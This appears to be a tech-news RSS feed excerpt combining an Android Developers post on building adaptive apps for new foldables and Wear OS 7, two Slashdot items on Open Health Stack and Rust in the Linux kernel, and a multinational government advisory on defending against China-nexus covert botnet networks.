<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
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  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google Hands Open Health Stack To the Linux Foundation]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also ba...]]></description>
<link>https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:42 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also backed by Microsoft, Anthropic, and the World Health Organization, with the goal of building open source, AI-ready digital health infrastructure. Will moving the project under Linux Foundation governance accelerate adoption, or is this simply another foundation that most developers will never interact with? The new project will focus on core HL7 FHIR technologies for healthcare interoperability, the Open Health Stack Player deployment toolkit, and AI Commons -- a model-agnostic healthcare AI initiative being co-developed with the World Health Organization.
 
A notable part of the announcement is its planned Implementer Program, which aims to give startups, small businesses, and local developers in low- and middle-income countries a formal role in governance. In other words, the effort is not just about building healthcare software standards, but about making sure the people implementing them in underserved markets help shape the project too.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/09/1659227/google-hands-open-health-stack-to-the-linux-foundation?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
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</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
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<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
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<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
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<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
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<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
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<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
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<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
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<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
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<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
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<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
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<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



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      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
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<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
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<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
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<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
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<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
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<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
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<p class="text-align-justify"><strong>Tactic </strong></p>
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<p class="text-align-justify"><strong>ID </strong></p>
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<p class="text-align-justify"><strong>Technique </strong></p>
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<p class="text-align-justify"><strong>Procedure </strong></p>
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<p><strong>Resource Development </strong></p>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
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</td>
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<p>Compromise Infrastructure: Botnet </p>
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<p>Botnets are used as core components of covert networks </p>
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<p><strong>Resource Development </strong></p>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
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</div>
</td>
<td>
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<p>Compromise Infrastructure: Network Devices </p>
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<p>Devices are compromised and added to botnets </p>
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<p><strong>Resource Development </strong></p>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
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</td>
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<p>Acquire Infrastructure: Virtual Private Server </p>
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<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
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<p><strong>Command and Control </strong></p>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
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<p>Proxy: Multi-hop Proxy </p>
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<p>Used by China-nexus cyber actors to route traffic </p>
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</td>
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<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
